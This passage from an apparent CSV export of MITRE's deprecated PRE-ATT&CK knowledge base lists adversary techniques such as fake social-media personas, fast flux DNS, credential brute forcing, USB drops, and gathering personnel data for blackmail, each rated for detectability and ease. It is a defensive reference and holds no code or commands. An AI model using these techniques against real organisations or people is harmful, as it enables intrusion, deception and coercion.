deficiencies,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This can be done offline after the data has been collected.,,Yes,Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.,,,,,PRE-T1077,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306). - -Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1306', external_id='T1306'), ExternalReference(source_name='TOR Design', description='Roger Dingledine, Nick Mathewson, Paul Syverson. (2004, August). Tor: The Second-Generation Onion Router. Retrieved March 28, 2017.'), ExternalReference(source_name='Stratfor2012', description='Sean Gallagher. (2012, March 6). Inside the hacking of Stratfor: the FBI’s case against Antisec member Anarchaos. Retrieved March 1, 2017.')]",attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Anonymity services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).",,Yes,"Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.",,,,,PRE-T1083,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302). - -Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1302', external_id='T1302'), ExternalReference(source_name='CyberPhysicalAssessment', description='Doug MacDonald, Samuel L Clements, Scott W Patrick, Casey Perkins, George Muller, Mary J Lancaster, Will Hutton. (2013, February). Cyber/physical security vulnerability assessment integration. Retrieved March 6, 2017.'), ExternalReference(source_name='CriticalInfrastructureAssessment', description='J. Depoy, J. Phelan, P. Sholander, B. Smith, G.B. Varnado and G. Wyss. (2015). RISK ASSESSMENT for PHYSICAL AND CYBER ATTACKS on CRITICAL INFRASTRUCTURES. Retrieved March 6, 2017.')]",attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Assess security posture of physical locations,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.",,Yes,"Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.",,,,,PRE-T1079,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1381', external_id='T1381'), ExternalReference(source_name='Remote Access Healthcare', description='Gary Glover. (2015, June 25). Remote access threats are imminent. Retrieved March 31, 2017.'), ExternalReference(source_name='RDP Point of Sale', description='Brian Prince. (2014, July 31). Hackers Turn Remote Desktop Tools Into Gateways for Point-of-Sale Malware Attacks. Retrieved March 31, 2017.')]",attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:13:56.705000+00:00,Authentication attempt,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.",,Yes,"Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",,,False,,PRE-T1158,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341). - -For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1341', external_id='T1341'), ExternalReference(source_name='NEWSCASTER2014', description='Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', url='https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'), ExternalReference(source_name='RobinSageInterview', description='Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017.')]",attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='persona-development')]",2020-10-26 13:42:49.342000+00:00,Build social network persona,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Unless there is some threat intelligence reporting, these users are hard to differentiate.",,Yes,"Performing activities like typical users, but with specific intent in mind.",,,,,PRE-T1118,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321). - -Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1321', external_id='T1321'), ExternalReference(source_name='symantecNITRO', description='Eric Chien and Gavin O’Gorman. (n.d.). The Nitro Attacks: Stealing Secrets from the Chemical Industry. Retrieved March 1, 2017.')]",attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,"Common, high volume protocols and software",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.,,Yes,Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.,,,,,PRE-T1098,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254). - -Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1254', external_id='T1254'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Conduct active scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.,,Yes,"Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.",,,,,PRE-T1031,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249). - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1249', external_id='T1249'), ExternalReference(source_name='SEAttackVectors', description='Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.'), ExternalReference(source_name='BeachSE2003', description='Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.')]",attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Conduct social engineering,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.,,Yes,Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.,,,,,PRE-T1026,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232). - -Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1232', external_id='T1232'), ExternalReference(source_name='ChinaCollectionPlan', description='Thomas B Inglis. (1946, December 31). COLLECTION PLAN TO IMPLEMENT NATIONAL INTELLIGENCE REQUIREMENTS FOR CHINA. Retrieved March 2, 2017.'), ExternalReference(source_name='OrderOfBattle', description='Wikipedia contributors. (2016, November 20). Order of battle. Retrieved March 2, 2017.')]",attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Create implementation plan,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1009,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).** - -DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1324', external_id='T1324'), ExternalReference(source_name='CrowdstrikeNumberedPanda', description='Adam Meyers. (2013, March 29). Whois Numbered Panda. Retrieved March 6, 2017.'), ExternalReference(source_name='FireEyeDarwinsAPTGroup', description='Ned Moran, Mike Oppenheim. (2014, September 3). Darwin’s Favorite APT Group. Retrieved March 6, 2017.'), ExternalReference(source_name='Rapid7G20Espionage', description='Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.', url='https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/')]",attack-pattern--7823039f-e2d5-4997-853c-ec983631206b,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-03-30 14:05:23.291000+00:00,DNSCalc,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.,,Yes,"This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.",,,False,,PRE-T1101,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260). - -Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1260', external_id='T1260'), ExternalReference(source_name='FFIECAwareness', description='Federal Financial Institutions Examination Council. (2016, October 17). Cybersecurity Awareness. Retrieved March 5, 2017.'), ExternalReference(source_name='Zetter2015Threats', description='Kim Zetter. (2015, January 4). The Biggest Security Threats We’ll Face in 2015. Retrieved March 5, 2017.')]",attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine 3rd party infrastructure services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.",,Yes,"Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses",,,,,PRE-T1037,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258). - -Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1258', external_id='T1258'), ExternalReference(source_name='Abdelnur Advanced Fingerprinting', description='Humberto J. Abdelnur, Radu State, Olivier Festor. (2008). Advanced Network Fingerprinting. Retrieved April 2, 2017.')]",attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine firmware version,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,No easy way for defenders to detect when an adversary collects this information.,,Yes,"Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.",,,,,PRE-T1035,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241). - -An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1241', external_id='T1241'), ExternalReference(source_name='CyberAdversaryBehavior', description='Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'), ExternalReference(source_name='JP3-60', description='Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'), ExternalReference(source_name='JP3-12R', description='Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'), ExternalReference(source_name='DoD Cyber 2015', description='Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.')]",attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='target-selection')]",2020-10-26 13:42:49.342000+00:00,Determine strategic target,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",,Yes,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,,,,,PRE-T1018,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379). - -Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1379', external_id='T1379'), ExternalReference(source_name='USBMalwareAttacks', description='Sean Carroll. (2010, November 4). USB Malware Attacks On the Rise. Retrieved March 9, 2017.'), ExternalReference(source_name='FPDefendNewDomain', description='William J. Lynn III. (2010, September). Defending a New Domain. Retrieved March 9, 2017.'), ExternalReference(source_name='ParkingLotUSB', description=""Emil Protalinski. (2012, July 11). Criminals push malware by 'losing' USB sticks in parking lots. Retrieved March 9, 2017."")]",attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='stage-capabilities')]",2020-10-26 13:42:49.342000+00:00,Disseminate removable media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.",,Yes,Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.,,,,,PRE-T1156,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1311). - -Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1311', external_id='T1311'), ExternalReference(source_name='DellMirage2012', description='DELL SECUREWORKS COUNTER THREAT UNIT THREAT INTELLIGENCE. (2012, September 18). The Mirage Campaign. Retrieved March 6, 2017.')]",attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Dynamic DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.",,Yes,"Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.",,,,,PRE-T1088,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).** - -A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1325', external_id='T1325'), ExternalReference(source_name='HoneynetFastFlux', description='Jamie Riden. (2008, August 16). HOW FAST-FLUX SERVICE NETWORKS WORK. Retrieved March 6, 2017.'), ExternalReference(source_name='MisnomerFastFlux', description='Misnomer. (2012, May 4). RESEARCH TO DETECTION – IDENTIFY FAST FLUX IN YOUR ENVIRONMENT. Retrieved March 6, 2017.'), ExternalReference(source_name='MehtaFastFluxPt1', description='Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.', url='https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref'), ExternalReference(source_name='MehtaFastFluxPt2', description='Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.', url='https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref')]",attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-03-30 14:06:03.611000+00:00,Fast Flux DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.",,Yes,"Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.",,,False,,PRE-T1102,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314). - -Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1314', external_id='T1314'), ExternalReference(source_name='VirutAP', description='Microsoft Malware Protection Center. (2008, July 30). Virus: Win32/Virut.AP. Retrieved March 6, 2017.')]",attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Host-based hiding techniques,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).",,No,"Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).",,,,,PRE-T1091,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283). - -Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1283', external_id='T1283'), ExternalReference(source_name='11StepsAttackers', description='Thor Olavsrud. (2014, September 2). 11 Steps Attackers Took to Crack Target. Retrieved March 5, 2017.')]",attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify business relationships,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.,,Yes,"Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.",,,,,PRE-T1060,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267). - -Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1267', external_id='T1267'), ExternalReference(source_name='JobPostingThreat', description='Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.')]",attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify job postings and needs/gaps,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Public source external to the defender's organization.,,Yes,Very public by design.,,,,,PRE-T1044,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274). - -An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1274', external_id='T1274'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify sensitive personnel information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender.,,Yes,This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.,,,,,PRE-T1051,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389). - -Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1389', external_id='T1389'), ExternalReference(source_name='Flexera News Vulnerabilities', description='John Lipsey. (2015, March 25). 15,435 Vulnerabilities in Close to 4,000 